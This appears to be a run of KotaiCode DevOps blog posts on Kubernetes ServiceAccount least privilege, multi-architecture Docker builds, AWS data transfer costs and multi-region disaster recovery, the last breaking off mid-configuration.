Configuration Over-permissive Least privilege RBAC permissions Wildcard * Explicit resources and verbs Scope Cluster-wide Namespace-scoped Token mounting Automatically mounted Disabled unless required ServiceAccount Shared across workloads Dedicated per workload Security impact Potential cluster-wide compromise Contained blast radius

A container compromise is a bad day. An over-permissive ServiceAccount turns it into a cluster incident. The RBAC configuration you set when a workload is first deployed determines which outcome you get, usually months before anyone realizes it matters. Review ServiceAccount permissions the same way you review firewall rules: with the assumption that something will eventually get through, and with the goal of ensuring that when it does, the damage stops there.

Tom Jose is a DevOps Engineer at KotaiCode, where the team helps companies get their Kubernetes and AWS infrastructure production-ready.

How Attackers Exploit Over-Permissive Kubernetes ServiceAccounts was originally published in kotaicode on Medium, where people are continuing the conversation by highlighting and responding to this story.

It built on your M2. It ran on your M2. Every test passed on your M2. Then the integration job on GitHub Actions pulls the same tag and dies before printing a single log line:

exec /usr/local/bin/payment-service: exec format error

Nothing is wrong with the code. The image contains a binary compiled for ARM64, and the CI runner is an AMD64 machine that can’t execute it. Docker images are portable as a packaging format, but the binaries inside them are tied to one CPU architecture, and Apple Silicon has made that gap easy to fall into. This article covers how Docker picks an architecture, why your Mac hides the problem, how to build multi-architecture images with Buildx, QEMU versus native builds, a working GitHub Actions setup, and the mistakes that still break multi-arch images after you think you’ve fixed them.

Why Docker Works Locally but Fails in CI

An M1, M2, or M3 Mac is an ARM64 machine. When you run docker build without flags, Docker builds for the platform it's running on, so the image you push is linux/arm64. GitHub's standard ubuntu-24.04 runners, most EKS node groups, and most EC2 fleets are linux/amd64.

Here’s the full failure, starting on the Mac:

$ uname -m
arm64

$ docker build -t 123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.0 .
$ docker image inspect --format '{{.Os}}/{{.Architecture}}' \
    123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.0
linux/arm64

$ docker push 123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.0

And on the AMD64 runner:

$ docker run --rm 123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.0 --version
WARNING: The requested image's platform (linux/arm64) does not match the detected host platform (linux/amd64/v3) and no specific platform was requested
exec /usr/local/bin/payment-service: exec format error

Docker even warns you, but in a busy CI log the warning scrolls past and only the error gets read. Depending on your Docker version and image store, the pull can fail earlier instead, with no matching manifest for linux/amd64 in the manifest list entries. Different message, same cause.

Understanding Docker Image Architectures

A single-platform image has one manifest: a config plus a list of layers, built for one OS and CPU architecture. A multi-platform image adds an index (also called a manifest list) on top. The index is a small JSON document that points to one manifest per platform.

When a client pulls a tag, the registry returns whatever the tag points to. If it’s an index, Docker picks the entry matching the host’s platform, linux/amd64 or linux/arm64, and pulls only that image's layers. If it's a single manifest, Docker pulls it regardless of architecture and finds out at runtime.

You can see which kind you have without pulling anything:

docker buildx imagetools inspect node:20-bookworm-slim

Official images like node, python, and golang publish indexes with a dozen platforms. Your own images publish whatever you built, which on a Mac is usually only linux/arm64.

How Apple Silicon Hides Architecture Problems

Docker Desktop on Apple Silicon can run AMD64 containers through Rosetta 2 or QEMU emulation. That’s convenient, and it’s also why architecture bugs survive so long. If a base image or vendor image you depend on only ships linux/amd64, it still runs on your Mac, just more slowly, and you never notice it has no ARM64 build.

The reverse is the case that hurts in CI. Your Mac builds ARM64 by default, and an AMD64 Linux runner has no emulation set up unless you install it. So the Mac runs both architectures, while CI runs only one.

The sharp edge here is a “fix” that spreads through teams: adding export DOCKER_DEFAULT_PLATFORM=linux/amd64 to everyone's shell profile. Builds now produce AMD64 images that work in CI. They also run every container on the Mac under emulation, make local builds several times slower, and hide whether your stack works on ARM64 at all, which matters the day someone suggests moving to Graviton.

Building Cross-Platform Images with Docker Buildx

Buildx is Docker’s BuildKit-based build CLI, and --platform tells it which architectures to target. To build more than one at a time, you need a builder that supports it. The docker-container driver always does:

docker buildx create --name multiarch --driver docker-container --use
docker buildx inspect --bootstrap

The interesting part is the Dockerfile. BuildKit gives every build a set of automatic arguments. BUILDPLATFORM is the machine doing the build. TARGETPLATFORM is the platform the image is for, with TARGETOS and TARGETARCH as its parts. For compiled languages, the fastest pattern is to run the compiler natively on the build platform and cross-compile for the target:

# syntax=docker/dockerfile:1.7

FROM --platform=$BUILDPLATFORM golang:1.23-bookworm AS build
ARG TARGETOS TARGETARCH
WORKDIR /src
COPY go.mod go.sum ./
RUN --mount=type=cache,target=/go/pkg/mod go mod download
COPY . .
RUN --mount=type=cache,target=/go/pkg/mod \
    --mount=type=cache,target=/root/.cache/go-build \
    CGO_ENABLED=0 GOOS=$TARGETOS GOARCH=$TARGETARCH \
    go build -ldflags="-s -w" -o /out/payment-service ./cmd/payment-service

FROM gcr.io/distroless/static-debian12:nonroot
ARG TARGETARCH
ADD --chmod=755 \
    https://github.com/grpc-ecosystem/grpc-health-probe/releases/download/v0.4.28/grpc_health_probe-linux-${TARGETARCH} \
    /usr/local/bin/grpc_health_probe
COPY --from=build /out/payment-service /usr/local/bin/payment-service
EXPOSE 8080 9090
ENTRYPOINT ["/usr/local/bin/payment-service"]

The build stage always runs on your machine’s own architecture, so Go compiles at full speed. The final stage has no RUN steps, so nothing in it ever needs to execute during the build. And the health probe download uses TARGETARCH instead of a hardcoded architecture, which is the detail most Dockerfiles get wrong (more on that below).

QEMU Emulation vs Native Builds

When a build stage has to run commands for the target architecture, such as apt-get install, npm ci with native modules, or pip install with C extensions, BuildKit runs them under QEMU emulation. QEMU translates every instruction of the foreign architecture, so it works for almost anything, but compile-heavy steps can run many times slower than they do natively.

My rule is to cross-compile whenever the toolchain supports it (Go, Rust with the right targets, Java, plain Node.js without native modules), use QEMU for small amounts of target-platform work, and switch to native runners when emulated steps start dominating build time. GitHub now offers hosted ARM64 Linux runners (ubuntu-24.04-arm), so native builds no longer require managing your own ARM machines.

Creating Multi-Architecture Docker Images

With the Dockerfile above, one command builds both architectures and pushes a single tag that works everywhere:

docker buildx build \
  --builder multiarch \
  --platform linux/amd64,linux/arm64 \
  -t 123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.1 \
  --push .

Then confirm what the registry actually holds:

$ docker buildx imagetools inspect 123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.1
Name:      123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.1
MediaType: application/vnd.oci.image.index.v1+json
Digest:    sha256:9b2e41c7d0a35f8e6b1c4a2d7e90f3b8c5a1d6e2f4b7c9a0e3d5f1b8c2a4e6d9

Manifests:
  Name:      123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.1@sha256:3c7f...
  MediaType: application/vnd.oci.image.manifest.v1+json
  Platform:  linux/amd64

  Name:      123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.1@sha256:a81d...
  MediaType: application/vnd.oci.image.manifest.v1+json
  Platform:  linux/arm64

  Name:      123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service:1.8.1@sha256:5e02...
  MediaType: application/vnd.oci.image.manifest.v1+json
  Platform:  unknown/unknown

The unknown/unknown entry is a provenance attestation that Buildx attaches by default, so it's expected.

The sharp edge is --load. People replace --push with --load to test locally and get docker exporter does not currently support exporting manifest lists. The classic Docker image store can only hold one platform per tag. Either enable the containerd image store in Docker Desktop, which can store multi-platform images, or load one platform at a time with --platform linux/arm64 --load.

Fixing Architecture Issues in CI/CD

Here’s a GitHub Actions workflow that builds both architectures on a standard runner, pushes to ECR with a registry cache, and smoke-tests both images before anything deploys:

# .github/workflows/build-payment-service.yml
name: build-payment-service
on:
  push:
    tags: ["v*"]

permissions:
  id-token: write
  contents: read

env:
  IMAGE: 123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service

jobs:
  build:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@v4

      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-ecr-push
          aws-region: ap-south-1

      - uses: aws-actions/amazon-ecr-login@v2

      - uses: docker/setup-qemu-action@v3

      - uses: docker/setup-buildx-action@v3

      - uses: docker/build-push-action@v6
        with:
          context: .
          platforms: linux/amd64,linux/arm64
          push: true
          tags: ${{ env.IMAGE }}:${{ github.ref_name }}
          cache-from: type=registry,ref=${{ env.IMAGE }}:buildcache
          cache-to: type=registry,ref=${{ env.IMAGE }}:buildcache,mode=max,image-manifest=true,oci-mediatypes=true

      - name: Smoke test every architecture
        run: |
          for platform in linux/amd64 linux/arm64; do
            echo "Testing $platform"
            docker run --rm --platform "$platform" \
              "${IMAGE}:${GITHUB_REF_NAME}" --version
            docker run --rm --platform "$platform" \
              --entrypoint /usr/local/bin/grpc_health_probe \
              "${IMAGE}:${GITHUB_REF_NAME}" -version
          done

Because the Go build cross-compiles, QEMU isn’t used to build anything here. It only exists so the runner can execute the ARM64 image during the smoke test. That test is the part most pipelines skip, and it’s the only step that proves the ARM64 image runs. The second docker run checks the health probe separately, because a wrong-architecture helper binary won't show up when you start the main process.

When emulated steps make builds too slow, split the work across native runners and stitch the results together:

# .github/workflows/build-payment-service-native.yml
name: build-payment-service-native
on:
  push:
    tags: ["v*"]

permissions:
  id-token: write
  contents: read

env:
  IMAGE: 123456789012.dkr.ecr.ap-south-1.amazonaws.com/payment-service

jobs:
  build:
    strategy:
      matrix:
        include:
          - runner: ubuntu-24.04
            arch: amd64
          - runner: ubuntu-24.04-arm
            arch: arm64
    runs-on: ${{ matrix.runner }}
    steps:
      - uses: actions/checkout@v4
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-ecr-push
          aws-region: ap-south-1
      - uses: aws-actions/amazon-ecr-login@v2
      - uses: docker/setup-buildx-action@v3
      - uses: docker/build-push-action@v6
        with:
          context: .
          platforms: linux/${{ matrix.arch }}
          push: true
          provenance: false
          tags: ${{ env.IMAGE }}:${{ github.ref_name }}-${{ matrix.arch }}
      - name: Smoke test natively
        run: docker run --rm "${IMAGE}:${GITHUB_REF_NAME}-${{ matrix.arch }}" --version

  manifest:
    needs: build
    runs-on: ubuntu-24.04
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-ecr-push
          aws-region: ap-south-1
      - uses: aws-actions/amazon-ecr-login@v2
      - uses: docker/setup-buildx-action@v3
      - name: Create multi-arch tag
        run: |
          docker buildx imagetools create \
            -t "${IMAGE}:${GITHUB_REF_NAME}" \
            "${IMAGE}:${GITHUB_REF_NAME}-amd64" \
            "${IMAGE}:${GITHUB_REF_NAME}-arm64"

Each architecture is built and tested on real hardware, and the final job only writes a new index pointing at the two images. No layers are copied, so it finishes in seconds.

Common Multi-Architecture Build Mistakes

Hardcoded architectures in downloads are the most common one, and they’re why the key point of this article matters. A Dockerfile with curl -L .../kubectl/linux/arm64/kubectl builds a perfectly valid multi-arch image whose AMD64 variant contains an ARM64 binary. The manifest says linux/amd64, every layer pulls, the main process may even start, and the failure only appears when a probe, sidecar script, or init step runs that binary. Always build download URLs from TARGETARCH.

Name mismatches cause the subtle variant of the same bug. uname -m returns x86_64 and aarch64, while Docker's TARGETARCH uses amd64 and arm64, and release pages pick one convention or the other. Map them explicitly instead of assuming:

ARG TARGETARCH
RUN case "$TARGETARCH" in \
      amd64) ARCH=x86_64 ;; \
      arm64) ARCH=aarch64 ;; \
      *) echo "unsupported arch: $TARGETARCH" && exit 1 ;; \
    esac && \
    curl -fsSL -o /tmp/awscli.zip "https://awscli.amazonaws.com/awscli-exe-linux-${ARCH}.zip"

Misusing BUILDPLATFORM is next. Putting FROM --platform=$BUILDPLATFORM on the final stage gives every variant the build machine's base image. Putting it on a stage that runs npm ci or pip install compiles native modules like bcrypt or sharp for the build machine, then copies them into the target image, where they fail to load at runtime. Use BUILDPLATFORM only for stages that cross-compile, and let stages that install native dependencies run as the target platform.

Pinning a base image by the wrong digest is the last one. FROM node:20-bookworm-slim@sha256:... is good practice, but if you copied the digest from docker image inspect on your Mac, you pinned the ARM64 manifest, not the index. Every platform now builds on an ARM64 base. Take the index digest from docker buildx imagetools inspect instead.

Production Checklist

• Every image built for deployment targets each platform it runs on with --platform
• Compiled stages use FROM --platform=$BUILDPLATFORM and cross-compile with TARGETOS/TARGETARCH
• Stages that install native dependencies run on the target platform
• Downloaded binaries use TARGETARCH, with explicit mapping where naming differs
• Base images are pinned by index digest, not a platform manifest digest
• docker buildx imagetools inspect confirms each platform after every push
• CI smoke-tests every architecture, including helper binaries and probes
• Nobody relies on DOCKER_DEFAULT_PLATFORM in their shell profile
• Build caching works across platforms with a registry cache in mode=max
• Native runners replace QEMU once emulated steps dominate build time

The Format Is Portable. The Contents Aren’t.

Docker’s promise was “build once, run anywhere,” and the image format keeps that promise. A manifest index can describe any number of platforms, and every registry and runtime knows how to pick the right one. What the format can’t do is check that the binary inside each variant matches the label on it.

That check is your job. The image that runs on your laptop has proven exactly one thing: it runs on your laptop. A pipeline that builds and executes every target architecture is how “it works on my machine” finally turns into “it works on the machines we deploy to.”

If this was useful, I share more production DevOps notes on X and LinkedIn.

Tom Jose is a DevOps Engineer at KotaiCode, where the team helps companies get their Kubernetes and AWS infrastructure production-ready.

Your Docker Image Works on Your Mac. CI Says Otherwise. was originally published in kotaicode on Medium, where people are continuing the conversation by highlighting and responding to this story.

Six m7g.large worker nodes in us-east-1 cost about $357 a month. In the example cluster this article walks through, the network charges around those nodes come to $2,404 a month, almost seven times the compute. Nothing in that bill is a misconfiguration AWS would flag. It's the default result of a normal Multi-AZ design with a NAT gateway, an RDS database, and some S3 traffic.

Data transfer is easy to miss because it never shows up as a resource. You can’t click on it in the console, it has no tags by default, and it’s spread across a dozen line items with names like USE1-DataTransfer-Regional-Bytes. This article covers how AWS prices each traffic path, where the expensive paths hide (NAT gateways, cross-AZ calls, load balancers, S3), a before-and-after cost comparison of the same application, and how to find these charges in your own bill.

All prices here are us-east-1 on-demand rates at the time of writing. Other regions cost more, so the patterns matter more than the exact cents.

Understanding AWS Data Transfer Pricing

The rules fit in a short list, and almost every surprise on a bill comes from one of them.

Two details make cross-AZ traffic more expensive than it looks. The $0.01 per GB is charged in each direction, so the sending side pays $0.01 and the receiving side pays another $0.01. And a request almost always has a response, so a busy API call pays on both legs. In practice, cross-AZ traffic costs $0.02 per GB moved.

Inbound data from the internet is free, which is why bills for upload-heavy systems look reasonable at first. The costs show up once that data starts moving around inside your VPC.

Cross-AZ Data Transfer Costs

A Multi-AZ design spreads instances across three zones for availability. Nothing in that design keeps traffic inside a zone. When a pod in us-east-1a calls a service with replicas in all three zones, the default load balancing sends roughly two out of three requests to another zone.

That applies everywhere. EC2 talking to RDS pays cross-AZ charges whenever the instance and the database primary sit in different zones, which in a three-zone setup is two-thirds of your application. ECS tasks calling each other through a Service Connect or Cloud Map endpoint pay it. EKS pods calling a ClusterIP Service pay it, because kube-proxy picks endpoints without looking at zones.

Some traffic is exempt. RDS Multi-AZ replication between the primary and standby isn’t billed to you, and neither is the traffic from an ALB to its targets in other zones. Application-level replication you run yourself (Kafka, Elasticsearch, a CloudNativePG cluster) is billed like any other cross-AZ traffic, and for chatty clusters it’s often the single biggest line item.

NAT Gateway: The Hidden Cost Multiplier

A NAT gateway costs $0.045 per hour, about $33 a month, which looks cheap. The expensive part is the $0.045 for every GB it processes, in both directions, on top of whatever the traffic itself costs.

Anything in a private subnet that reaches an AWS public endpoint goes through the NAT gateway unless you give it another path. That includes S3 uploads, DynamoDB calls, ECR image pulls, CloudWatch Logs, Secrets Manager lookups, and STS calls from the AWS SDK. A pod that streams 20 TB a month to S3 through a NAT gateway pays $900 a month in processing for traffic that could have been free.

The sharp edge is the common “cost saving” move of running one NAT gateway for all three zones. It saves about $66 a month in hourly charges. But traffic from the other two zones now crosses an AZ boundary to reach the NAT gateway and crosses back for the response, adding $0.02 per GB to two-thirds of your outbound traffic.

# Wrong: one shared NAT gateway for every private subnet
resource "aws_route" "private_default" {
  count                  = 3
  route_table_id         = aws_route_table.private[count.index].id
  destination_cidr_block = "0.0.0.0/0"
  nat_gateway_id         = aws_nat_gateway.shared.id
}

# Right: one NAT gateway per AZ, each private subnet routes to its own zone's gateway
resource "aws_nat_gateway" "per_az" {
  count         = 3
  allocation_id = aws_eip.nat[count.index].id
  subnet_id     = aws_subnet.public[count.index].id

  tags = {
    Name = "prod-nat-${count.index}"
  }
}

resource "aws_route" "private_default" {
  count                  = 3
  route_table_id         = aws_route_table.private[count.index].id
  destination_cidr_block = "0.0.0.0/0"
  nat_gateway_id         = aws_nat_gateway.per_az[count.index].id
}

Per-AZ NAT gateways also remove a single point of failure. A zone outage that takes out your only NAT gateway cuts outbound access for all three zones.

VPC Endpoints vs NAT Gateways

VPC endpoints give private subnets a direct path to AWS services without the NAT gateway. There are two kinds, and they’re priced very differently.

Gateway endpoints exist only for S3 and DynamoDB, and they’re free. No hourly charge, no per-GB charge. They work by adding routes to your route tables, so there’s no reason not to have them in every VPC.

resource "aws_vpc_endpoint" "s3" {
  vpc_id            = aws_vpc.main.id
  service_name      = "com.amazonaws.us-east-1.s3"
  vpc_endpoint_type = "Gateway"
  route_table_ids   = aws_route_table.private[*].id
}

resource "aws_vpc_endpoint" "dynamodb" {
  vpc_id            = aws_vpc.main.id
  service_name      = "com.amazonaws.us-east-1.dynamodb"
  vpc_endpoint_type = "Gateway"
  route_table_ids   = aws_route_table.private[*].id
}

Interface endpoints cover most other services (ECR, CloudWatch Logs, Secrets Manager, STS, SQS) and cost $0.01 per hour per AZ plus $0.01 per GB. One endpoint across three zones is about $22 a month before any traffic. Against NAT processing at $0.045 per GB, each GB through the endpoint saves $0.035, so a three-zone interface endpoint pays for itself at around 630 GB a month. Below that, the NAT gateway is cheaper.

That math matters, because I’ve seen teams add fifteen interface endpoints “for cost reasons” and end up spending more. Add an interface endpoint when a service moves real volume, and keep the NAT gateway for the long tail.

resource "aws_vpc_endpoint" "ecr" {
  for_each            = toset(["ecr.api", "ecr.dkr"])
  vpc_id              = aws_vpc.main.id
  service_name        = "com.amazonaws.us-east-1.${each.key}"
  vpc_endpoint_type   = "Interface"
  subnet_ids          = aws_subnet.private[*].id
  security_group_ids  = [aws_security_group.vpc_endpoints.id]
  private_dns_enabled = true
}

Two sharp edges here. ECR stores image layers in S3, so the ECR interface endpoints alone only cover the API calls and manifests. Without the S3 gateway endpoint, the layers, which are most of the bytes, still go through the NAT gateway. And gateway endpoints only cover buckets in the same region. A pod reading a bucket in eu-west-1 still goes through the NAT gateway, and pays inter-region transfer on top.

Load Balancers and Kubernetes Networking Costs

Load balancers add their own charges. An ALB bills in Load Balancer Capacity Units (LCUs) at $0.008 per LCU-hour, and for EC2 and IP targets one LCU covers 1 GB processed per hour. For bandwidth-heavy services, that works out to roughly $0.008 per GB. ALB cross-zone load balancing is always on, and AWS doesn’t charge for the cross-AZ traffic between an ALB and its targets.

NLB is different. Cross-zone load balancing is off by default, and when you turn it on, traffic from the NLB to targets in other zones is billed as regular cross-AZ transfer. Turning it on to fix uneven load is often the right call, as long as you know it has a price.

The sharp edge I find most often in EKS clusters is hairpinning. A service calls another internal service through its public hostname, say https://api.cartwheel.in/inventory. DNS resolves to the public ALB, so the request leaves through the NAT gateway, crosses the internet edge, and comes back in through the ALB. You pay NAT processing on traffic that never needed to leave the cluster. Call inventory-api.catalog.svc.cluster.local instead.

For pod-to-pod traffic, Kubernetes can prefer endpoints in the caller’s own zone. On recent Kubernetes versions, set trafficDistribution on the Service:

apiVersion: v1
kind: Service
metadata:
  name: inventory-api
  namespace: catalog
spec:
  selector:
    app.kubernetes.io/name: inventory-api
  ports:
    - name: http
      port: 80
      targetPort: 8080
  trafficDistribution: PreferClose

PreferClose sends traffic to same-zone endpoints whenever any exist. That's also its sharp edge. If us-east-1b has one inventory-api pod and the other zones have four each, every client in us-east-1b hits that single pod. Pair it with a topologySpreadConstraint on topology.kubernetes.io/zone, so each zone has enough replicas to carry its own traffic. Older clusters can use the service.kubernetes.io/topology-mode: Auto annotation, which applies a similar idea with stricter conditions.

S3 and Cross-Region Data Transfer

S3 to EC2 in the same region is free, as long as the traffic doesn’t go through a NAT gateway. The charges start when data changes regions or leaves AWS.

Cross-region replication pays inter-region transfer of $0.02 per GB for every byte copied, plus replication requests. S3 Replication Time Control adds $0.015 per GB on top of that. Replicating a 50 TB bucket that changes 10 TB a month costs about $200 a month in transfer alone, and the initial copy of the existing 50 TB is another $1,000.

Storage classes add retrieval charges. Standard-IA charges $0.01 per GB retrieved, and Glacier classes charge more. An analytics job that scans an IA bucket every night can turn a storage saving into a retrieval bill. And anything served from S3 straight to the internet pays $0.09 per GB, which is usually the moment to put CloudFront in front of it.

The Comparison: Same Application, Two Network Designs

Here’s the example from the opening. Cartwheel’s orders platform runs on EKS in us-east-1 with six m7g.large nodes spread across three zones, an RDS PostgreSQL Multi-AZ primary, and S3 for invoice PDFs and product images. Monthly traffic, modeled for this example:

Service-to-service traffic inside the cluster totals 40 TB. The app moves 15 TB to and from RDS. Pods read and write 20 TB to S3. Image pulls from ECR come to 3 TB, because Karpenter replaces nodes often. Calls to third-party payment and shipping APIs come to 2 TB.

The unoptimized design is common: a single NAT gateway, no VPC endpoints, and default Kubernetes routing. The optimized design changes only the network: per-AZ NAT gateways, gateway endpoints for S3 and DynamoDB, ECR interface endpoints, and PreferClose on internal Services.

The total drops from $2,404 to $694 a month, about 71%, with no change to compute, storage, or application code beyond Service manifests. The biggest win, by far, is S3 traffic leaving the NAT gateway.

Database traffic is the one line that doesn’t move. The RDS primary lives in one zone, so two-thirds of the application will always cross an AZ to reach it. You can reduce that with caching or same-zone read replicas for read-heavy paths, but each option costs something of its own. I’d accept that line and spend the effort elsewhere.

Finding Hidden Data Transfer Charges

Start in Cost Explorer. Group by Usage Type and filter on usage types containing DataTransfer and NatGateway. The names tell you the path: USE1-DataTransfer-Regional-Bytes is cross-AZ traffic, USE1-NatGateway-Bytes is NAT processing, USE1-DataTransfer-Out-Bytes is internet egress, and USE1-EUW1-AWS-Out-Bytes is traffic from us-east-1 to eu-west-1.

Cost Explorer tells you how much, but not which resource. The Cost and Usage Report does, down to the resource ID. With CUR in Athena:

SELECT line_item_usage_type,
       line_item_resource_id,
       ROUND(SUM(line_item_usage_amount), 0)   AS gb,
       ROUND(SUM(line_item_unblended_cost), 2) AS cost_usd
FROM cartwheel_cur.cur_2_0
WHERE line_item_usage_start_date >= TIMESTAMP '2026-09-01 00:00:00'
  AND line_item_usage_start_date <  TIMESTAMP '2026-10-01 00:00:00'
  AND (line_item_usage_type LIKE '%DataTransfer%'
       OR line_item_usage_type LIKE '%NatGateway-Bytes%')
GROUP BY 1, 2
ORDER BY cost_usd DESC
LIMIT 20;

For the NAT gateway, the resource ID tells you which gateway, not which workload. VPC Flow Logs fill that gap. A custom format that includes pkt-dst-aws-service shows which AWS service the traffic was headed to, which is usually enough to spot the S3 or ECR traffic that belongs on an endpoint:

aws ec2 create-flow-logs \
  --resource-type NetworkInterface \
  --resource-ids eni-0d4f1a2b3c4e5f607 \
  --traffic-type ALL \
  --log-destination-type s3 \
  --log-destination arn:aws:s3:::cartwheel-vpc-flow-logs/nat-gateway/ \
  --log-format '${start} ${srcaddr} ${dstaddr} ${bytes} ${az-id} ${pkt-srcaddr} ${pkt-dstaddr} ${pkt-dst-aws-service} ${flow-direction}' \
  --max-aggregation-interval 600 \
  --region us-east-1

Flow logs on a busy VPC aren’t free either, which is why this example targets only the NAT gateway’s network interface. Run it for a few days, find the top talkers, and turn it off. Cost allocation tags then let you track the result: tag NAT gateways, load balancers, and endpoints with an owning team so the next spike has a name attached.

Best Practices to Reduce Data Transfer Costs

Most of the savings come from four habits. Keep traffic in its zone with per-AZ NAT gateways, zone-aware Service routing, and replicas spread evenly across zones. Give AWS-bound traffic a private path, starting with the free gateway endpoints and adding interface endpoints only where volume justifies them. Keep cross-region traffic deliberate, with replication scoped to the prefixes that need it rather than whole buckets. And watch the bill by usage type, with a monthly alert on NAT gateway bytes and cross-AZ transfer, so a new chatty service shows up in weeks rather than at quarter end.

Production Checklist

• Every private subnet routes to a NAT gateway in its own AZ
• S3 and DynamoDB gateway endpoints exist in every VPC
• ECR interface endpoints are paired with the S3 gateway endpoint
• Interface endpoints are added only where traffic exceeds the break-even volume
• Internal services call each other by cluster DNS, never through public hostnames
• Internal Services use trafficDistribution: PreferClose with zone-balanced replicas
• NLB cross-zone load balancing is a deliberate choice, with its cost known
• S3 replication is scoped to the prefixes that need it
• Public S3 content is served through CloudFront
• Cost Explorer is grouped by usage type for DataTransfer and NatGateway monthly
• NAT gateways, load balancers, and endpoints carry cost allocation tags
• Billing alerts exist for NAT gateway bytes and cross-AZ transfer

Every Arrow Has a Price

Architecture diagrams draw compute as boxes and traffic as arrows, and teams spend their cost reviews on the boxes. The boxes are where AWS shows you a price up front. The arrows are where it doesn’t, and in a busy Multi-AZ system they can quietly cost several times more.

The cheapest time to fix data transfer is when you draw the diagram. Before you add an arrow, ask which zone it starts in, which zone it ends in, and whether it passes through a NAT gateway on the way. That one question, asked early, saves more than any amount of instance right-sizing later.

If this was useful, I share more production DevOps notes on X and LinkedIn.

Tom Jose is a DevOps Engineer at KotaiCode, where the team helps companies get their Kubernetes and AWS infrastructure production-ready.

The Hidden Cost of Moving Data Between AWS Services was originally published in kotaicode on Medium, where people are continuing the conversation by highlighting and responding to this story.

A regional AWS outage is rare. When it happens, it’s typically a multi-hour event affecting every service in the region simultaneously. Organizations without a multi-region DR strategy discover their RTO during the outage, which is not when you want to discover it.

This article covers a production multi-region DR implementation on AWS. Not theory: the actual infrastructure decisions, replication mechanisms, and failover procedures that determine whether your recovery time matches your business requirement.

Setting RTO and RPO before designing anything

Recovery Time Objective (RTO) is how long the business can tolerate downtime. Recovery Point Objective (RPO) is how much data loss is acceptable, measured in time.

These are business decisions that must precede architecture decisions. An engineering team that targets 15-minute RTO because it sounds achievable, without consulting the business, may be over-engineering for a product where hours of downtime is acceptable: or under-engineering for one where minutes of downtime costs millions.

Get these numbers in writing from stakeholders before building anything:

Then match the DR strategy to each workload based on cost and RTO requirement:

Data replication: the critical layer

Compute is stateless and fast to provision. Data is stateful and slow to replicate. The data layer determines your actual RPO.

RDS cross-region read replica:

resource "aws_db_instance" "primary" {
  provider = aws.primary_region

  identifier     = "production-db"
  engine         = "postgres"
  instance_class = "db.t3.medium"
  multi_az       = true
  # ... other config
}

resource "aws_db_instance" "dr_replica" {
  provider = aws.dr_region

  identifier          = "production-db-dr"
  replicate_source_db = aws_db_instance.primary.arn
  instance_class      = "db.t3.medium"

  # Replicas don't need their own backups
  backup_retention_period = 0
  skip_final_snapshot     = true

  # Can be promoted to primary during failover
  deletion_protection = false
}

The read replica replicates asynchronously. Replication lag, the delay between a write to the primary and that write appearing on the replica, is typically under a second for well-resourced instances. Under heavy write load or network issues, lag can grow. Monitor it:

resource "aws_cloudwatch_metric_alarm" "replication_lag" {
  provider = aws.primary_region

  alarm_name          = "rds-replication-lag"
  comparison_operator = "GreaterThanThreshold"
  evaluation_periods  = 3
  metric_name         = "ReplicaLag"
  namespace           = "AWS/RDS"
  period              = 60
  statistic           = "Average"
  threshold           = 30  # alert if lag exceeds 30 seconds

  dimensions = {
    DBInstanceIdentifier = aws_db_instance.dr_replica.id
  }

  alarm_actions = [aws_sns_topic.dr_alerts.arn]
}

Aurora Global Database for lower RPO:

resource "aws_rds_global_cluster" "main" {
  global_cluster_identifier = "production-global"
  engine                    = "aurora-postgresql"
  engine_version            = "15.4"
}

resource "aws_rds_cluster" "primary" {
  provider = aws.primary_region

  cluster_identifier        = "production-primary"
  global_cluster_identifier = aws_rds_global_cluster.main.id
  engine                    = "aurora-postgresql"
  # ...
}

resource "aws_rds_cluster" "dr" {
  provider = aws.dr_region

  cluster_identifier        = "production-dr"
  global_cluster_identifier = aws_rds_global_cluster.main.id
  engine                    = "aurora-postgresql"
  # ...
}

Aurora Global Database replicates with sub-second lag and can promote the secondary region to primary in under 1 minute: significantly faster than RDS read replica promotion.

S3 cross-region replication:

resource "aws_s3_bucket_replication_configuration" "main" {
  provider = aws.primary_region
  bucket   = aws_s3_bucket.primary.id
  role     = aws_iam_role.replication.arn

  rule {
    id     = "replicate-all"
    status = "Enabled"

    destination {
      bucket        = aws_s3_bucket.dr.arn
      storage_class = "STANDARD_IA"

      replication_time {
        status = "Enabled"
        time {
          minutes = 15
        }
      }

      metrics {
        status = "Enabled"
      }
    }
  }
}

replication_time with 15-minute SLA enables S3 Replication Time Control (RTC). AWS guarantees 99.99% of objects replicate within 15 minutes. Without RTC, replication is best-effort: usually fast, but no SLA.

Infrastructure in the DR region

The DR region needs Terraform configuration ready to deploy on demand (Pilot Light) or pre-deployed at reduced capacity (Warm Standby).

# terraform/dr-region/main.tf

variable "mode" {
  type    = string
  default = "pilot_light"  # or "warm_standby" or "active_active"
}

locals {
  compute_desired = {
    pilot_light  = 0
    warm_standby = 2
    active_active = 5
  }[var.mode]
}

resource "aws_ecs_service" "app" {
  provider      = aws.dr_region
  name          = "app-dr"
  cluster       = aws_ecs_cluster.dr.id
  desired_count = local.compute_desired

  # ... service config pointing to dr_replica database
}

For Pilot Light: desired_count = 0. The infrastructure exists but no tasks run. Scaling to capacity on failover takes 5–10 minutes.

For Warm Standby: desired_count = 2. A minimal number of tasks run continuously, confirming the environment is functional and reducing time-to-full-capacity.

Traffic failover with Route 53

Route 53 health checks monitor your primary endpoint and automatically switch traffic to the DR region:

resource "aws_route53_health_check" "primary" {
  fqdn              = "api.example.com"
  port              = 443
  type              = "HTTPS"
  resource_path     = "/health"
  failure_threshold = 3
  request_interval  = 10

  tags = {
    Name = "primary-health-check"
  }
}

resource "aws_route53_record" "primary" {
